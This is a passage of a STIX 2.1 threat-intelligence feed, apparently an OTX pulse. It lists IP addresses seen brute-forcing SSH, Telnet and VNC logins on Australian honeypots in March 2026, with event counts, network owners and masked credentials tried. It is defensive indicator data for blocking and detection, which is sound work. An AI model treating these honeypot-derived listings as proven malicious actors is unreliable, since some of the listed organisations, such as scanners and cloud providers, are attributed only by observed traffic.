      "modified": "2026-03-03T02:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '134.122.33.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T02:15:13.000Z",
      "valid_until": "2026-04-04T02:15:11.000Z"
    },
    {
      "created": "2026-03-03T02:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 112. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, @*******6, G*******4, Q******1.",
      "id": "indicator--0642a483-2648-419e-88eb-3214f7804b8a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T02:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '152.32.206.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T02:15:13.000Z",
      "valid_until": "2026-04-04T02:15:11.000Z"
    },
    {
      "created": "2026-03-03T02:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--cdc1243d-54f2-4667-8f85-41f4ff2dcf15",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T02:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '157.245.95.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T02:15:13.000Z",
      "valid_until": "2026-04-04T02:15:11.000Z"
    },
    {
      "created": "2026-03-03T02:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--9bd6fa2a-4dc3-4157-92f4-98b208fe08b0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T02:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '162.142.125.216']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T02:15:13.000Z",
      "valid_until": "2026-04-04T02:15:11.000Z"
    },
    {
      "created": "2026-03-03T02:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 100. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 153040. Organisation(s): YouStable. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, @*******6, G*******4, Q******1.",
      "id": "indicator--8450740f-e01e-4d96-81b2-41f6149b816f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T02:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '162.245.218.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T02:15:13.000Z",
      "valid_until": "2026-04-04T02:15:11.000Z"
    },
    {
      "created": "2026-03-03T02:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t. Passwords observed (masked): q*****@.",
      "id": "indicator--7810935d-a235-46f2-8571-129d3de76244",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T02:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '172.200.228.35']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T02:15:13.000Z",
      "valid_until": "2026-04-04T02:15:11.000Z"
    },
    {
      "created": "2026-03-03T02:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 252. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CO. ASN(s): 14080. Organisation(s): Telmex Colombia S.A.. Usernames observed (masked): r**t, 3**********4, a****1. Passwords observed (masked): 3**********4, 1********3, 3***********4, G*******3, *@ssw0rd.1.",
      "id": "indicator--0d890319-5b46-4762-ba1e-a055919ce577",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T02:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '181.49.8.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T02:15:13.000Z",
      "valid_until": "2026-04-04T02:15:11.000Z"
    },
    {
      "created": "2026-03-03T02:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 9808. Organisation(s): China Mobile Communications Group Co., Ltd..",
      "id": "indicator--7f0788d2-2531-482b-b9c6-ba17f520c86a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T02:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '183.220.237.230']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T02:15:13.000Z",
      "valid_until": "2026-04-04T02:15:11.000Z"
    },
    {
      "created": "2026-03-03T02:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 283. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 24544. Organisation(s): Overcasts Limited. Usernames observed (masked): r**t, 3**********4, a****1. Passwords observed (masked): 3***********4, 3**********4, 1********3, !*********3, 1**1.",
      "id": "indicator--1389a35c-a4b9-45f3-a410-88a18ab8e100",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T02:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.216.119.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T02:15:13.000Z",
      "valid_until": "2026-04-04T02:15:11.000Z"
    },
    {
      "created": "2026-03-03T02:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 195. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4, a****1. Passwords observed (masked): 3**********4, 1********3, 1******!, 3***********4, G*******3.",
      "id": "indicator--df13b2d4-f0ad-49fc-bddd-2bdb5486105f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T02:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '23.91.96.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T02:15:13.000Z",
      "valid_until": "2026-04-04T02:15:11.000Z"
    },
    {
      "created": "2026-03-03T02:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 283. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH. Usernames observed (masked): r**t, 3**********4, a****1. Passwords observed (masked): 3***********4, 3**********4, 1********3, 1*****3, @*******8.",
      "id": "indicator--35bad230-41a0-4e8a-9950-0eb0c9a6cfd0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T02:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.242.200.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T02:15:13.000Z",
      "valid_until": "2026-04-04T02:15:11.000Z"
    },
    {
      "created": "2026-03-03T02:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 289. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KE. ASN(s): 37061. Organisation(s): Safaricom. Usernames observed (masked): r**t, 3**********4, a****1. Passwords observed (masked): 3***********4, 3**********4, 1********3, 1******!, G*******3.",
      "id": "indicator--63c6254d-a2fc-4efe-9f64-4b13d6547172",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T02:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '41.90.100.147']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T02:15:13.000Z",
      "valid_until": "2026-04-04T02:15:11.000Z"
    },
    {
      "created": "2026-03-03T02:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 152711. Organisation(s): Suike Information Technology SiChuan Co., Ltd. Usernames observed (masked): r**t. Passwords observed (masked): z*******..",
      "id": "indicator--05695229-9dc7-4193-ba11-c585dec2611c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T02:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.202.211.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T02:15:13.000Z",
      "valid_until": "2026-04-04T02:15:11.000Z"
    },
    {
      "created": "2026-03-03T02:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 212512. Organisation(s): Detai Prosperous Technologies Limited.",
      "id": "indicator--8dfee77e-4063-4ab7-9a72-097c4a1fdb8f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T02:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.82.78.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T02:15:13.000Z",
      "valid_until": "2026-04-04T02:15:11.000Z"
    },
    {
      "created": "2026-03-03T02:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 100. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 9318. Organisation(s): SK Broadband Co Ltd. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, @*******6, G*******4, Q******1.",
      "id": "indicator--ef4b133a-4c8f-4d01-a497-8067e0fa16bd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T02:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '58.229.141.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T02:15:13.000Z",
      "valid_until": "2026-04-04T02:15:11.000Z"
    },
    {
      "created": "2026-03-03T02:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MA. ASN(s): 6713. Organisation(s): Itissalat Al-MAGHRIB. Usernames observed (masked): r**t. Passwords observed (masked): 1*******d.",
      "id": "indicator--1c6c2f7f-3c0e-4dca-80f6-0ecc8cbe6195",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T02:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '81.192.46.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T02:15:13.000Z",
      "valid_until": "2026-04-04T02:15:11.000Z"
    },
    {
      "created": "2026-03-03T03:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Heralding. Target ports: 5900. Source country: KR. ASN(s): 3786. Organisation(s): LG DACOM Corporation. Passwords observed (masked): b****n.",
      "id": "indicator--f2ebebbb-514b-4994-b4ec-cc79b9020a60",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T03:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '1.217.119.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T03:15:06.000Z",
      "valid_until": "2026-04-04T03:15:05.000Z"
    },
    {
      "created": "2026-03-03T03:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 142. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CH. ASN(s): 53667. Organisation(s): FranTech Solutions. Usernames observed (masked): r**t, 3**********4, a****1. Passwords observed (masked): 1********3, ***, 1*******9, 3***********4, 3**********4.",
      "id": "indicator--3617ee31-88a6-4982-83b3-7ce485cde1cf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T03:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '104.244.74.84']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T03:15:06.000Z",
      "valid_until": "2026-04-04T03:15:05.000Z"
    },
    {
      "created": "2026-03-03T03:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Heralding. Target ports: 5900. Source country: KR. ASN(s): 3786. Organisation(s): LG DACOM Corporation.",
      "id": "indicator--1950df5f-20d3-4d10-b1b6-9ffdcd47a681",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T03:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '106.240.154.253']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T03:15:06.000Z",
      "valid_until": "2026-04-04T03:15:05.000Z"
    },
    {
      "created": "2026-03-03T03:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Heralding. Target ports: 5900. Source country: TH. ASN(s): 45758. Organisation(s): Triple T Broadband Public Company Limited. Passwords observed (masked): 0****0, ***.",
      "id": "indicator--e890b18c-c924-4134-bec9-78d2f36e9973",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T03:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '110.164.183.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T03:15:06.000Z",
      "valid_until": "2026-04-04T03:15:05.000Z"
    },
    {
      "created": "2026-03-03T03:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Heralding. Target ports: 5900. Source country: KR. ASN(s): 3786. Organisation(s): LG DACOM Corporation. Passwords observed (masked): u**r.",
      "id": "indicator--83a25d01-b510-4002-85a9-1f23c8db4f80",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T03:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '112.216.80.98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T03:15:06.000Z",
      "valid_until": "2026-04-04T03:15:05.000Z"
    },
    {
      "created": "2026-03-03T03:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Heralding. Target ports: 5900. Source country: KR. ASN(s): 3786. Organisation(s): LG DACOM Corporation. Passwords observed (masked): q****y.",
      "id": "indicator--a9615f53-426f-4d43-b8b2-9f6f6c59e371",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T03:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '112.217.111.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T03:15:06.000Z",
      "valid_until": "2026-04-04T03:15:05.000Z"
    },
    {
      "created": "2026-03-03T03:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 5900. Source country: SG. ASN(s): 17547. Organisation(s): M1 NET LTD.",
      "id": "indicator--1de996ea-1fd5-4770-b8af-d7161181161d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T03:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '118.189.170.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T03:15:06.000Z",
      "valid_until": "2026-04-04T03:15:05.000Z"
    },
    {
      "created": "2026-03-03T03:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 25. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t. Passwords observed (masked): c****s, d****n, l***x, u****u.",
      "id": "indicator--2b5ab673-3ec7-4aa0-8d96-82b609b0065e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T03:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '128.1.131.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T03:15:06.000Z",
      "valid_until": "2026-04-04T03:15:05.000Z"
    },
    {
      "created": "2026-03-03T03:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--9e1b3628-a8c3-40b6-896a-0620264db1ad",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T03:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '135.237.126.224']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T03:15:06.000Z",
      "valid_until": "2026-04-04T03:15:05.000Z"
    },
    {
      "created": "2026-03-03T03:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 5900. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--e27acd5a-be2c-4115-9cee-f1eddc0e40ec",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T03:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '14.41.1.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T03:15:06.000Z",
      "valid_until": "2026-04-04T03:15:05.000Z"
    },
    {
      "created": "2026-03-03T03:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Heralding. Target ports: 5900. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Passwords observed (masked): 0*****0.",
      "id": "indicator--7a70227a-0472-4950-9dbd-1161c750136b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T03:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '169.211.232.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T03:15:06.000Z",
      "valid_until": "2026-04-04T03:15:05.000Z"
    },
    {
      "created": "2026-03-03T03:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Heralding. Target ports: 5900. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Passwords observed (masked): l*****n.",
      "id": "indicator--9f65ec72-4e79-4887-acfa-a3c1e32c336f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T03:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '175.214.22.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T03:15:06.000Z",
      "valid_until": "2026-04-04T03:15:05.000Z"
    },
    {
      "created": "2026-03-03T03:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt). Usernames observed (masked): r**t, 3**********4, a****1. Passwords observed (masked): 1*********f, 3***********4, 3**********4, @*******3, A******6.",
      "id": "indicator--6de67d5d-e774-492d-a3ed-606fc98ff8a0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T03:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '176.65.149.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T03:15:06.000Z",
      "valid_until": "2026-04-04T03:15:05.000Z"
    },
    {
      "created": "2026-03-03T03:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 38365. Organisation(s): Beijing Baidu Netcom Science and Technology Co., Ltd..",
      "id": "indicator--7ee2f9f7-6971-4ffe-b064-dc5d7e01c8dc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T03:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '180.76.171.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T03:15:06.000Z",
      "valid_until": "2026-04-04T03:15:05.000Z"
    },
    {
      "created": "2026-03-03T03:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Heralding. Target ports: 5900. Source country: KR. ASN(s): 9318. Organisation(s): SK Broadband Co Ltd. Passwords observed (masked): q****3, q*****3.",
      "id": "indicator--49215eba-3b97-4f30-858a-d73f86e8e6c9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T03:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '211.212.237.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T03:15:06.000Z",
      "valid_until": "2026-04-04T03:15:05.000Z"
    },
    {
      "created": "2026-03-03T03:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 5900. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Passwords observed (masked): 1**4.",
      "id": "indicator--6c103448-787e-43b6-a8f9-5ed33120c6cb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T03:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '218.149.235.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T03:15:06.000Z",
      "valid_until": "2026-04-04T03:15:05.000Z"
    },
    {
      "created": "2026-03-03T03:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Heralding. Target ports: 5900. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--a46fa367-7294-47b8-a01e-04674873a6c1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T03:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '218.161.121.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T03:15:06.000Z",
      "valid_until": "2026-04-04T03:15:05.000Z"
    },
    {
      "created": "2026-03-03T03:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: PT. ASN(s): 211680. Organisation(s): Sistemas Informaticos, S.A..",
      "id": "indicator--a273f10f-9da5-4919-ba54-14ab97ccb19b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T03:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.156.129.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T03:15:06.000Z",
      "valid_until": "2026-04-04T03:15:05.000Z"
    },
    {
      "created": "2026-03-03T03:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: PT. ASN(s): 211680. Organisation(s): Sistemas Informaticos, S.A..",
      "id": "indicator--d2eac234-db9f-4cb5-b7c8-76dbfcb4dc9a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T03:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.156.129.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T03:15:06.000Z",
      "valid_until": "2026-04-04T03:15:05.000Z"
    },
    {
      "created": "2026-03-03T03:15:06.000Z",
